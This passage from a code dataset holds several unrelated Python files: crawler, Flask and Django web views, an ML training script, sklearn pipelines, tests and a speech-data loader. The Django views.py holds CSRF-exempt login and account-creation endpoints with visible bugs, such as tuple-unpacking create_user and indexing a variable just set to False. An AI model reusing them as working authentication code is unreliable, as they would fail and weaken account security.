self.lessor_gender,\n \"lessor_identity\": self.lessor_identity,\n \"house_type\": self.house_type,\n \"house_status\": self.house_status,\n \"sold\": self.sold,\n \"phone\": self.phone,\n \"gender_requirement\": self.gender_requirement,\n \"house_condition\": self.house_condition,\n }\n\n\n# pylint: enable= R0902\n\n\ndef parse_single_house(url, title, proxy=None) -> Optional[dict]:\n session_arg = {\"browser_args\": [f\"--proxy-server={proxy}\"]} if proxy else {}\n\n res = HTMLSession(**session_arg).get(url)\n\n if res.html.find(\".error_img\") or res.html.find(\"#error-page\"):\n logger.warning(f\"{url} house was removed\")\n return None\n\n try:\n return House(url, title, res.html).to_dict()\n except AttributeError as error:\n logger.warning(f\"{url}\\n{error}\")\n return None\n","sub_path":"services/crawler/models/houses.py","file_name":"houses.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"447131012","text":"li = ['abc', 'def', 'tyz', 'bee']\nli2 = ['zxc', 'kmp']\nli3 = ['ti']\nlit = [li, li2, li3]\n\n#li.extend(li2)\nli += li2 #표현식만 다르고 의미하는 바는 같음\nprint(li)\ndel li[-1] #여기서 del 리스트 함수가 아닌 파이썬 구문\nprint(li)\n\nprint(li.pop(-1)) #스택에서의 pop의 의미와 동일\nprint(li)","sub_path":"Python/Basic/03. List/04. extend.py","file_name":"04. extend.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"456906379","text":"from flask import Blueprint, jsonify, request\n\nfrom backend.auth import requires_auth\nfrom command.time import *\n\ntime_endpoints = Blueprint(\"time_api\", __name__)\n\n\n@time_endpoints.route(\"/api/time/outputTime\", methods = [\"GET\"])\n@requires_auth\ndef output_time_endpoint():\n \"\"\"Outputs the current system time to the user.\"\"\"\n return jsonify(time = system_time())\n\n\n@time_endpoints.route(\"/api/time/getTimezone\", methods = [\"GET\"])\n@requires_auth\ndef get_timezone_endpoint():\n \"\"\"Returns the systems timezone.\"\"\"\n return jsonify(timezone = get_timezone())\n\n\n@time_endpoints.route(\"/api/time/changeTimezone\", methods = [\"POST\"])\n@requires_auth\ndef change_timezone_endpoint():\n \"\"\"Changes the system's timezone.\"\"\"\n incoming = request.get_json()\n\n change_timezone(incoming.get('timezone'))\n\n return ('', 204)\n","sub_path":"backend/api/time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"156729697","text":"# -.- encoding:utf-8 -.-\nfrom django.contrib.auth.models import User\nfrom django.http import JsonResponse, HttpResponse\nfrom django.shortcuts import render, redirect, render_to_response\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.template import RequestContext\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core import serializers\nfrom django.http import Http404\n\n#from haystack.query import SearchQuerySet\n\nfrom Crawler.models import Postagens, Categorias, Tags, TagsPostagens\n#from Site.forms import PesquisaForms\nfrom Site.models import ProvidersUser, ProvedoresDeLogin, TokenLogin\n\n\ndef index(request):\n if request.user.is_authenticated():\n return render(request, \"site/index_logado.html\", {\"usuario\": request.user})\n else:\n return render(request, \"index.html\")\n\n\ndef pag_login(request):\n erros = {}\n if request.method == \"POST\":\n username = request.POST.get(\"inputEmail\")\n password = request.POST.get(\"inputPassword\")\n\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect(\"/\")\n else:\n erros[\"erro\"] = \"O seu login está desativado, entre em contato com o administrador\"\n else:\n erros[\"erro\"] = \"O seu login e/ou sua senha estão incorretos\"\n\n return render(request, \"login.html\", erros)\n\n\n@login_required\ndef pag_postagem(request, id_postagem):\n try:\n postagem = Postagens.objects.get(id_postagem=id_postagem)\n except Postagens.DoesNotExist:\n raise Http404(\"Nenhuma postagem encontrada com esse ID.\")\n\n dic_pos = {\"postagem\": postagem, \"usuario\": request.user}\n return render(request, \"site/postagem.html\", dic_pos)\n\n\ndef logout_view(request):\n logout(request)\n return redirect(\"/\")\n\n# def pesquisa_pagina(request):\n# if request.method == \"GET\":\n# form = PesquisaForms(request.GET)\n# if form.is_valid():\n# q = form.cleaned_data[\"query\"]\n# pagina = form.cleaned_data[\"page\"]\n#\n# if q[0] == \"#\":\n# pesquisa = TagsPostagens.objects.select_related(\"fk_tag\").filter(fk_tag__tag=q[1:].lower())\\\n# .select_related(\"fk_postagem\")\n# paginator = Paginator(pesquisa, 20)\n# tag = True\n# else:\n# pesquisa = SearchQuerySet().filter(content=q).order_by('-horario_postagem_site')\n# paginator = Paginator(pesquisa, 20)\n# tag = False\n#\n# try:\n# postagens = paginator.page(pagina)\n# except PageNotAnInteger:\n# postagens = paginator.page(1)\n# except EmptyPage:\n# postagens = paginator.page(paginator.num_pages)\n#\n# context = {\n# \"tag\": tag,\n# \"page\": postagens,\n# \"paginator\": paginator,\n# \"query\": q\n# }\n# else:\n# context = {\n# \"erro\": \"Query Inválida!!!\"\n# }\n#\n# return render_to_response(\"site/search.html\", context, context_instance=RequestContext(request))\n\n\n@csrf_exempt\ndef get_last_news(request, pagina):\n categoria_db = Categorias.objects.get(categoria=\"notícias\")\n #todas_postagens = Postagens.objects.all().filter(disponivel=True).select_related(\"fk_rss\").\\\n # select_related(\"fk_rss__fk_sites\").filter(fk_rss__disponivel=True).order_by(\"-horario_postagem_site\")\n\n todas_postagens = Postagens.objects.select_related(\"fk_rss\").filter(disponivel=True).filter(\n fk_rss__disponivel=True).prefetch_related(\"fk_rss__categorias\").filter(\n fk_rss__categorias__categoria=categoria_db).order_by(\"-horario_postagem_site\")\n\n paginator = Paginator(todas_postagens, 20)\n\n try:\n postagens = paginator.page(pagina)\n except PageNotAnInteger:\n postagens = paginator.page(1)\n except EmptyPage:\n postagens = paginator.page(paginator.num_pages)\n\n serializedpage = {}\n\n pythonserializer = serializers.get_serializer(\"python\")()\n serializedpage[\"object_list\"] = pythonserializer.serialize(postagens.object_list,\n fields=('fk_rss', 'titulo', 'link', 'texto',\n 'data_adicionado', 'data_modificado',\n 'horario_postagem_site', 'fk_imagem'),\n use_natural_foreign_keys=True,\n use_natural_primary_keys=True)\n return JsonResponse(serializedpage)\n\n\n@csrf_exempt\ndef get_last_news_by_site(request, id_site, pagina):\n todas_postagens = Postagens.objects.select_related(\"fk_rss__fk_sites\").filter(fk_rss__fk_sites=id_site).filter(\n disponivel=True).select_related(\"fk_rss\").filter(fk_rss__disponivel=True).order_by(\"-horario_postagem_site\")\n\n paginator = Paginator(todas_postagens, 20)\n\n try:\n postagens = paginator.page(pagina)\n except PageNotAnInteger:\n postagens = paginator.page(1)\n except EmptyPage:\n postagens = paginator.page(paginator.num_pages)\n\n serializedpage = {}\n\n pythonserializer = serializers.get_serializer(\"python\")()\n serializedpage[\"object_list\"] = pythonserializer.serialize(postagens.object_list,\n fields=('fk_rss', 'titulo', 'link', 'texto',\n 'data_adicionado', 'data_modificado',\n 'horario_postagem_site'))\n return JsonResponse(serializedpage)\n\n\n@csrf_exempt\ndef get_last_news_by_category(request, categoria, pagina):\n categoria_db = Categorias.objects.get(categoria=categoria)\n todas_postagens = Postagens.objects.select_related(\"fk_rss\").prefetch_related(\n \"fk_rss__categorias\").filter(fk_rss__categorias__categoria=categoria_db).order_by(\"-horario_postagem_site\")\n\n paginator = Paginator(todas_postagens, 20)\n\n try:\n postagens = paginator.page(pagina)\n except PageNotAnInteger:\n postagens = paginator.page(1)\n except EmptyPage:\n postagens = paginator.page(paginator.num_pages)\n\n serializedpage = {}\n\n pythonserializer = serializers.get_serializer(\"python\")()\n serializedpage[\"object_list\"] = pythonserializer.serialize(postagens.object_list,\n fields=('fk_rss', 'titulo', 'link', 'texto',\n 'data_adicionado', 'data_modificado',\n 'horario_postagem_site'))\n return JsonResponse(serializedpage)\n\n\n@csrf_exempt\ndef criar_usuario_rest(request):\n if request.method == \"POST\":\n usuario_criado = {}\n if request.POST.get(\"metodo\") == \"com_senha\":\n user, verifica = User.objects.create_user(username=request.POST.get(\"email\"),\n email=request.POST.get(\"email\"),\n password=request.POST.get(\"senha\"))\n if verifica:\n usuario_criado[\"status\"] = True\n usuario_criado[\"mensagem\"] = \"Usuário criado com sucesso!\"\n else:\n usuario_criado = False\n usuario_criado[\"mensagem\"] = \"O usuário já existe.\"\n elif request.POST.get(\"metodo\") == \"facebook\":\n user, verifica_u = User.objects.create_user(username=request.POST.get(\"email\"),\n email=request.POST.get(\"email\"))\n try:\n provider = ProvedoresDeLogin.objects.get(nome=\"facebook\")\n if verifica_u:\n user, verifica_p = ProvidersUser.objects.get_or_create(key_o_auth=request.POST.get(\"id_facebook\"),\n defaults={\"fk_provedor\": provider,\n \"fk_usuario\": user})\n if verifica_p:\n usuario_criado[\"status\"] = True\n usuario_criado[\"mensagem\"] = \"Usuário criado com sucesso!\"\n else:\n usuario_criado = False\n usuario_criado[\"mensagem\"] = \"O usuário já existe.\"\n except ProvedoresDeLogin.DoesNotExist:\n usuario_criado = False\n usuario_criado[\"mensagem\"] = \"O provedor de login não está cadastrado: facebook\"\n else:\n usuario_criado = False\n usuario_criado[\"mensagem\"] = \"O usuário já existe.\"\n return JsonResponse(usuario_criado)\n else:\n return HttpResponse(\"Método não suportado\")\n\n\n@csrf_exempt\ndef logar_rest(request):\n if request.method == \"POST\":\n resposta = {\"dados\": None, \"erro\": None}\n metodo = request.POST.get(\"metodo\")\n if metodo == \"com_senha\":\n email = request.POST.get(\"email\")\n senha = request.POST.get(\"senha\")\n user = authenticate(username=email, password=senha)\n if user is not None:\n if user.is_active:\n token = TokenLogin(fk_usuario=user)\n token.save()\n dados = {\n \"id_user\": user.id,\n \"email\": user.email,\n \"nome\": user.name,\n \"token\": token.id_token,\n }\n resposta[\"dados\"] = dados\n resposta[\"status\"] = True\n return JsonResponse(resposta)\n else:\n resposta[\"status\"] = False\n resposta[\"erro\"] = \"O seu login está desativado, entre em contato com o administrador\"\n return JsonResponse(resposta)\n else:\n resposta[\"status\"] = False\n resposta[\"erro\"] = \"O seu login e/ou sua senha estão incorretos\"\n return JsonResponse(resposta)\n elif metodo == \"facebook\":\n id_facebook = request.POST.get(\"id_facebook\")\n try:\n usuario = ProvidersUser.objects.select_related(\"fk_usuario\").get(key_o_auth=id_facebook)\n token = TokenLogin(fk_usuario=usuario.fk_usuario)\n token.save()\n dados = {\n \"id_user\": usuario.fk_usuario.id,\n \"email\": usuario.fk_usuario.email,\n \"nome\": usuario.fk_usuario.name,\n \"token\": token.id_token,\n }\n resposta[\"id_user\"] = dados\n resposta[\"status\"] = True\n return JsonResponse(resposta)\n except ProvidersUser.DoesNotExist:\n resposta[\"status\"] = False\n resposta[\"erro\"] = \"O seu usuário não existe. Vá na tela criar conta.\"\n return JsonResponse(resposta)\n else:\n return HttpResponse(\"Método não suportado\")\n","sub_path":"Site/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"483229064","text":"#-*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\nfrom . import views\n\napp_name = \"resource_mgr\"\nurlpatterns = [\n url(r'^$', views.index, name = 'index'),\n url(r'^data/$', views.data, name = 'data'),\n url(r'^data/gwas/$', views.gwas, name = 'gwas'),\n url(r'^tours/$', views.tours, name = 'tours'),\n url(r'^tools/$', views.tools, name = 'tools'),\n url(r'^organizations/$', views.organizations, name = 'organizations'),\n]\n\n","sub_path":"resource_mgr/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"77848599","text":"#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\n\n\"\"\"\nDetection Training Script.\n\"\"\"\n\nimport logging\n\nimport detectron2.utils.comm as comm\nfrom d2go.distributed import launch\nfrom d2go.setup import (\n basic_argument_parser,\n post_mortem_if_fail_for_main,\n prepare_for_launch,\n setup_after_launch,\n)\nfrom d2go.utils.misc import print_metrics_table, dump_trained_model_configs\nfrom torch.nn.parallel import DistributedDataParallel\n\n\nlogger = logging.getLogger(\"d2go.tools.train_net\")\n\n\ndef main(\n cfg,\n output_dir,\n runner=None,\n eval_only=False,\n # NOTE: always enable resume when running on cluster\n resume=True,\n):\n setup_after_launch(cfg, output_dir, runner)\n\n model = runner.build_model(cfg)\n logger.info(\"Model:\\n{}\".format(model))\n\n if eval_only:\n checkpointer = runner.build_checkpointer(cfg, model, save_dir=output_dir)\n # checkpointer.resume_or_load() will skip all additional checkpointable\n # which may not be desired like ema states\n if resume and checkpointer.has_checkpoint():\n checkpoint = checkpointer.resume_or_load(cfg.MODEL.WEIGHTS, resume=resume)\n else:\n checkpoint = checkpointer.load(cfg.MODEL.WEIGHTS)\n train_iter = checkpoint.get(\"iteration\", None)\n model.eval()\n metrics = runner.do_test(cfg, model, train_iter=train_iter)\n print_metrics_table(metrics)\n return {\n \"accuracy\": metrics,\n \"model_configs\": {},\n \"metrics\": metrics,\n }\n\n if comm.get_world_size() > 1:\n model = DistributedDataParallel(\n model,\n device_ids=None if cfg.MODEL.DEVICE == \"cpu\" else [comm.get_local_rank()],\n broadcast_buffers=False,\n find_unused_parameters=cfg.MODEL.DDP_FIND_UNUSED_PARAMETERS,\n )\n\n trained_cfgs = runner.do_train(cfg, model, resume=resume)\n metrics = runner.do_test(cfg, model)\n print_metrics_table(metrics)\n\n # dump config files for trained models\n trained_model_configs = dump_trained_model_configs(cfg.OUTPUT_DIR, trained_cfgs)\n return {\n # for e2e_workflow\n \"accuracy\": metrics,\n # for unit_workflow\n \"model_configs\": trained_model_configs,\n \"metrics\": metrics,\n }\n\n\ndef run_with_cmdline_args(args):\n cfg, output_dir, runner = prepare_for_launch(args)\n launch(\n post_mortem_if_fail_for_main(main),\n num_processes_per_machine=args.num_processes,\n num_machines=args.num_machines,\n machine_rank=args.machine_rank,\n dist_url=args.dist_url,\n backend=args.dist_backend,\n args=(cfg, output_dir, runner, args.eval_only, args.resume),\n )\n\ndef cli():\n parser = basic_argument_parser(requires_output_dir=False)\n parser.add_argument(\n \"--eval-only\", action=\"store_true\", help=\"perform evaluation only\"\n )\n parser.add_argument(\n \"--resume\",\n action=\"store_true\",\n help=\"whether to attempt to resume from the checkpoint directory\",\n )\n run_with_cmdline_args(parser.parse_args())\n\nif __name__ == \"__main__\":\n cli()\n","sub_path":"tools/train_net.py","file_name":"train_net.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109309610","text":"import pytest\nfrom unittest import mock\n\nfrom activity_viewer.settings import AVSettings\nfrom activity_viewer.settings.sections import System\nfrom activity_viewer.cache import Cache\n\n\n@pytest.fixture(scope=\"function\")\ndef temp_settings(tmp_path):\n system = System(cache_directory=tmp_path, resolution=100)\n yield AVSettings(system=system)\n\n\n@pytest.mark.parametrize((\"settings\", \"error\", \"emsg\"), [\n (None, TypeError, \"Expected one of 'AVSettings', but got 'NoneType'.\"),\n (AVSettings(), None, None)\n])\ndef test_cache_constructor(settings, error, emsg):\n if error is not None:\n with pytest.raises(error) as excinfo:\n Cache(settings)\n\n assert excinfo.match(emsg)\n else:\n cache = Cache(settings)\n\n assert cache.settings == settings\n\n\n# @pytest.mark.parametrize((\"\",), [\n\n# ])\n\n# @pytest.mark.parametrize((\"prop\", \"args\", \"error\", \"emsg\"), [\n# (\"annotation_volume\", [False], None, None),\n# (\"template_volume\", [False], None, None),\n# (\"structure_centers\", [False], None, None),\n# (\"structure_graph\", [False], None, None),\n# (\"structure_mesh\", [997, False], None, None),\n# ])\n# def test_cache_downloaders(temp_settings, prop, args, error, emsg):\n# downloader = Cache(temp_settings)\n\n \n# else:\n# getattr(downloader, \"download_\" + prop)(*args)\n\n# if prop == \"structure_mesh\":\n# assert downloader.structure_mesh_exists(args[0])\n# else:\n# assert getattr(downloader, prop + \"_exists\")\n\n","sub_path":"test/test_cache.py","file_name":"test_cache.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"398296066","text":"\"\"\"\nAll the scikit learn pipeline functionality and classes used in the\nproject are kept here.\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.preprocessing import StandardScaler, Imputer\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import ExtraTreesClassifier\n# from mlxtend.feature_selection import SequentialFeatureSelector as SFS\n# from mlxtend.plotting import plot_sequential_feature_selection as plot_sfs\nfrom . import preprocessing\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\n# def plot_bar_chart(plotting_df):\n# f, ax = plt.subplots(1, 1, figsize=(7, 5))\n# plt.title('Feature Selection')\n# ax.set_xlim([0, 1])\n# # sns.set_style(\"whitegrid\", { 'axes.edgecolor': '.8', 'text.color': '.15', 'xtick.color': '.15',})\n# #sns.barplot(x='importance', \n# y='feature', \n# data=plotting_df, \n# palette=sns.color_palette('BuGn_r'))\n# # ax.set_xlabel('Importance', fontsize=12)\n# # ax.set_ylabel('Feature', fontsize=12)\n# #sns.despine(offset=10)\n# with plt.style.context('seaborn-poster'):\n# plt.tight_layout(pad=0.8)\n# plt.show()\n\n\n# def plot_feature_importance(names, values):\n# f, ax = plt.subplots(1, 1, figsize=(7, 5))\n# pos = np.arange(len(names)) + 0.5\n# plt.barh(pos, values, align='center')\n# plt.title(\"Feature Importance\")\n# plt.xlabel(\"Model Accuracy\")\n# plt.ylabel(\"Features\")\n# plt.yticks(pos, names)\n# plt.grid(True)\n# plt.tight_layout(pad=0.9)\n# plt.show()\n\n\n# def feature_selection_pipeline(train_df=None, test_df=None, fig_dir=None, fig_file=None, fig_title=None):\n\n# # get features and labels\n# X_train, y_train = preprocessing.split_X_y(train_df)\n\n# # create the transformers and estimators\n# #encoder = DummyEncoder()\n# fillna = Imputer(strategy='median')\n# scaler = StandardScaler()\n# extree = ExtraTreesClassifier()\n\n# # knn = KNeighborsClassifier(n_neighbors=5)\n# # sfs = SFS(knn,\n# # k_features=3,\n# # forward=True,\n# # floating=False,\n# # verbose=2,\n# # scoring='recall',\n# # cv=3)\n\n# pipe = Pipeline(steps=[\n# #('encoder', encoder),\n# ('fillna', fillna),\n# ('scaler', scaler),\n# ('extree', extree)\n# #('sfs', sfs),\n# ])\n\n# # fit the pipe start to finish\n# pipe.fit(X_train, y_train)\n\n# # plot feature \n# column_names = X_train.columns.values\n# labels = ['feature', 'importance']\n# data = [(name, value) for name, value in zip(column_names, extree.feature_importances_)]\n# plotting_df = pd.DataFrame.from_records(data, columns=labels)\n# print(plotting_df)\n# print(len(column_names), len(extree.feature_importances_))\n# plot_feature_importance(column_names, extree.feature_importances_)\n # plot_bar_chart(plotting_df.sort_values(by='importance', ascending=False))\n\n # produce output\n # print(f'{fig_title :_<80}')\n # print(pd.DataFrame.from_dict(sfs.get_metric_dict()).T)\n # print()\n\n # print(100 * '-')\n # print(pd.DataFrame.from_dict(encoder.matrix_lookup_, orient='index').T)\n # print()\n\n # print(100 * '-')\n # print('selected features:', sfs.k_feature_idx_)\n # print('\\nbest combination: (ACC: %.3f): %s\\n' % (sfs.k_score_, sfs.k_feature_idx_))\n # print('all subsets:\\n', sfs.subsets_)\n\n # plt.title(fig_title)\n # plt.grid()\n # plot_sfs(sfs.get_metric_dict(), kind='std_err')\n # plt.savefig(os.path.join(fig_dir, fig_file), dpi=300)\n # plt.close()\n\n\n\ndef modeling_pipeline(estimator=None, X_train=None, y_train=None):\n # objects to prepare the data\n encoder = DummyEncoder()\n fillna = Imputer(strategy='median')\n scaler = StandardScaler()\n\n pipe = Pipeline(steps=[\n ('encoder', encoder),\n ('fillna', fillna),\n ('scaler', scaler),\n ('estimator', estimator),\n ])\n pipe.fit(X_train, y_train)\n return pipe, estimator\n\n\nclass DummyEncoder(TransformerMixin, BaseEstimator):\n \"\"\"\n Converts pandas dataframes to numpy matrices and back again.\n Based on code from Tom Augsperger's github repository\n (https://github.com/TomAugspurger/mtg) and his talk at\n PyData Chicago 2016 (https://youtu.be/KLPtEBokqQ0). Added a map\n of columns in the dataframe to those in the matrix. This information\n is held in the DummyEncoder.matrix_lookup -- a dictionary\n keyed by the matrix column index with values showing the column\n from the dataframe. For dummy encoded dataframe columns it shows\n column.encoded_value.\n \"\"\"\n\n def fit(self, X, y=None):\n # record info here, use in transform, inv_transform.\n self.columns_ = X.columns\n self.cat_columns_ = X.select_dtypes(include=['category']).columns\n self.non_cat_columns_ = X.columns.drop(self.cat_columns_)\n\n self.cat_map_ = {col: X[col].cat for col in self.cat_columns_}\n left = len(self.non_cat_columns_) # 2\n self.cat_blocks_ = {}\n\n for col in self.cat_columns_:\n right = left + len(X[col].cat.categories)\n self.cat_blocks_[col] = slice(left, right)\n left = right\n\n # provide clear relationship between columns in encoded matrix\n # columns and the dataframe\n cat_matrix_cols = [f'{k}.{v}'\n for k, v in self.cat_map_.items()\n for v in v.categories.get_values()]\n all_matrix_cols = list(self.non_cat_columns_.get_values()) + cat_matrix_cols\n self.matrix_lookup_ = {i: v for i, v in enumerate(all_matrix_cols)}\n\n return self\n\n def transform(self, X, y=None):\n return np.asarray(pd.get_dummies(X))\n\n def inverse_transform(self, trn, y=None):\n # Numpy to Pandas DataFrame\n # original column names <=> positions\n numeric = pd.DataFrame(trn[:, :len(self.non_cat_columns_)],\n columns=self.non_cat_columns_)\n series = []\n for col, slice_ in self.cat_blocks_.items():\n codes = trn[:, slice_].argmax(1)\n cat = pd.Categorical.from_codes(codes,\n self.cat_map_[col].categories,\n ordered=self.cat_map_[col].ordered)\n series.append(pd.Series(cat, name=col))\n return pd.concat([numeric] + series, axis=1)[self.columns_]\n","sub_path":"wakeful/pipelining.py","file_name":"pipelining.py","file_ext":"py","file_size_in_byte":6585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"246575061","text":"# install packages:\n# pip install -r requirements.txt\n# conda install graphviz\n\nprint('Loading dataset')\n\nimport pandas as pd\nraw_dataset = pd.read_csv('Data Cleaned V4.csv', sep=';')\n\n\nprint('Removing rows with missing data')\ndataset = raw_dataset\nfor column in dataset.columns:\n dataset = dataset[dataset[column] != ' ']\n\n\nprint('Get all names of the different programmes/classes')\nclass_names = ['ML: yes','ML: no'] #pd.Categorical(dataset[y_column]).categories\n\n\nprint('Dataset before correcting datatypes:\\n')\nprint(dataset[:5])\nprint('\\n')\n\n\nprint('Correcting data types')\n\ndef correctingDatatypes(dataset):\n categorical_columns = ['Programme','SecondProgramme','ML','IR','St','Db','Gender','Chocolate','Standup','GoodDay1','Goodday2']\n numeric_columns = ['Birthday','Neighbours','Stress','Money','Random']\n daytime_columns = ['Bedtime']\n\n for column in categorical_columns:\n if column in dataset.columns:\n dataset[column] = pd.Categorical(dataset[column]).codes # string-category to int\n\n for column in numeric_columns:\n if column in dataset.columns:\n dataset[column] = pd.to_numeric(dataset[column]) # string-number to int\n\n for column in daytime_columns:\n if column in dataset.columns:\n dataset[column] = pd.to_datetime(dataset[column], format='%H:%M:%S') # string-datetime to datetime\n dataset[column] = dataset[column].apply(lambda t: t.hour*3600 + t.minute*60 + t.second) # datetime to int\n return dataset\n\ndataset = correctingDatatypes(dataset)\n\n\nprint('Dataset after correcting datatypes:\\n')\nprint(dataset[:5])\nprint('\\n')\n\n###### TEST 1 ######\n\nprint('Getting training-set and target-values for classification')\nX_columns = ['Programme','SecondProgramme','IR','St','Db','Gender','Chocolate','Birthday','Neighbours','Standup','Stress','Money','Random','Bedtime','GoodDay1','Goodday2']\ny_column = 'ML'\n\nX = dataset[X_columns].values # Training set\ny = dataset[y_column].values # Target values\n\n\nprint('Setting up DecisionTreeClassifier')\n# http://scikit-learn.org/stable/modules/tree.html\nfrom sklearn import tree\nmodel = tree.DecisionTreeClassifier() # classifier\nmodel = model.fit(X, y)\n\n\nprint('Creating image: tree.png')\n\nimport pydot\nimport graphviz\nfrom sklearn.externals.six import StringIO\n\ndot_data = StringIO() \ntree.export_graphviz(model, out_file=dot_data,\n feature_names=X_columns, \n class_names=class_names,\n impurity=False,proportion=True,\n filled=True, rounded=True)\ngraph = pydot.graph_from_dot_data(dot_data.getvalue())\ngraph.write_png('Task 1B tree.png')\n\n\nprint('Setup cross validation')\n\nfrom sklearn.cross_validation import KFold\nk = 2 # amount of cross validations\nkf = KFold(len(dataset), n_folds=k, shuffle=True)\n\n\nprint('Calculating DecisionTreeClassifier scores')\n\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score\ntest_accuracy = 0\ntest_precision = 0\ntest_recall = 0\n\nfor train_index, test_index in kf:\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = y[train_index], y[test_index]\n model = model.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n test_accuracy += accuracy_score(y_test, y_pred) / kf.n_folds\n test_precision += precision_score(y_test, y_pred) / kf.n_folds\n test_recall += recall_score(y_test, y_pred) / kf.n_folds\n\nprint('Accuracy score: %.3f' % (test_accuracy))\nprint('Precision score: %.3f' % (test_precision))\nprint('Recall score: %.3f' % (test_recall))\n\n###### TEST 2 ######\n\nprint('\\n')\nprint('Getting training-set and target-values for regression')\nX_columns = ['Programme','SecondProgramme','ML','IR','St','Db','Gender','Chocolate','Neighbours','Standup','Stress','Money','Random','Bedtime','GoodDay1','Goodday2']\ny_column = 'Birthday'\n\nX = dataset[X_columns].values # Training set\ny = dataset[y_column].values # Target values\n\n\nprint('Getting rows with missing birthdays')\nbirthday_dataset = raw_dataset\n\nfor column in X_columns:\n birthday_dataset = birthday_dataset[birthday_dataset[column] != ' ']\n\nbirthday_dataset = birthday_dataset[birthday_dataset[y_column] == ' ']\nbirthday_dataset = birthday_dataset[X_columns]\nX_test = correctingDatatypes(birthday_dataset.copy())\nX_test = X_test.values\n\n\nprint('Setting up Linear Regression')\n#http://scikit-learn.org/stable/auto_examples/linear_model/plot_ols.html\n\nfrom sklearn import linear_model\nmodel1 = linear_model.LinearRegression()\nmodel1 = model1.fit(X, y)\n\n\nprint('Setting up Support Vector Regression')\n#http://scikit-learn.org/stable/auto_examples/svm/plot_svm_regression.html\n\nfrom sklearn import svm\nmodel2 = svm.SVR(kernel='rbf', C=1e3, gamma=0.1)\nmodel2 = model2.fit(X, y)\n\n\nprint('Predicting missing birthdays')\ny_pred1 = model1.predict(X_test)\ny_pred2 = model2.predict(X_test)\n\n\nprint('Saving: predicted bdays in csv')\nbirthday_dataset['bday LinearRegression'] = pd.Series(y_pred1, index=birthday_dataset.index)\nbirthday_dataset['bday SVR'] = pd.Series(y_pred2, index=birthday_dataset.index)\nbirthday_dataset.to_csv('Task 1B predicted bdays.csv', sep=';')\n","sub_path":"Assignment1/Task 1B.py","file_name":"Task 1B.py","file_ext":"py","file_size_in_byte":5144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"321290373","text":"# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\nimport librosa\nimport csv\n\nfrom paddle import fluid\nfrom parakeet import g2p\nfrom parakeet import audio\nfrom parakeet.data.sampler import *\nfrom parakeet.data.datacargo import DataCargo\nfrom parakeet.data.batch import TextIDBatcher, SpecBatcher\nfrom parakeet.data.dataset import DatasetMixin, TransformDataset, CacheDataset, SliceDataset\nfrom parakeet.models.transformer_tts.utils import *\n\n\nclass LJSpeechLoader:\n def __init__(self,\n config,\n args,\n nranks,\n rank,\n is_vocoder=False,\n shuffle=True):\n place = fluid.CUDAPlace(rank) if args.use_gpu else fluid.CPUPlace()\n\n LJSPEECH_ROOT = Path(args.data_path)\n metadata = LJSpeechMetaData(LJSPEECH_ROOT)\n transformer = LJSpeech(config)\n dataset = TransformDataset(metadata, transformer)\n dataset = CacheDataset(dataset)\n\n sampler = DistributedSampler(\n len(dataset), nranks, rank, shuffle=shuffle)\n\n assert args.batch_size % nranks == 0\n each_bs = args.batch_size // nranks\n if is_vocoder:\n dataloader = DataCargo(\n dataset,\n sampler=sampler,\n batch_size=each_bs,\n shuffle=shuffle,\n batch_fn=batch_examples_vocoder,\n drop_last=True)\n else:\n dataloader = DataCargo(\n dataset,\n sampler=sampler,\n batch_size=each_bs,\n shuffle=shuffle,\n batch_fn=batch_examples,\n drop_last=True)\n self.reader = fluid.io.DataLoader.from_generator(\n capacity=32,\n iterable=True,\n use_double_buffer=True,\n return_list=True)\n self.reader.set_batch_generator(dataloader, place)\n\n\nclass LJSpeechMetaData(DatasetMixin):\n def __init__(self, root):\n self.root = Path(root)\n self._wav_dir = self.root.joinpath(\"wavs\")\n csv_path = self.root.joinpath(\"metadata.csv\")\n self._table = pd.read_csv(\n csv_path,\n sep=\"|\",\n header=None,\n quoting=csv.QUOTE_NONE,\n names=[\"fname\", \"raw_text\", \"normalized_text\"])\n\n def 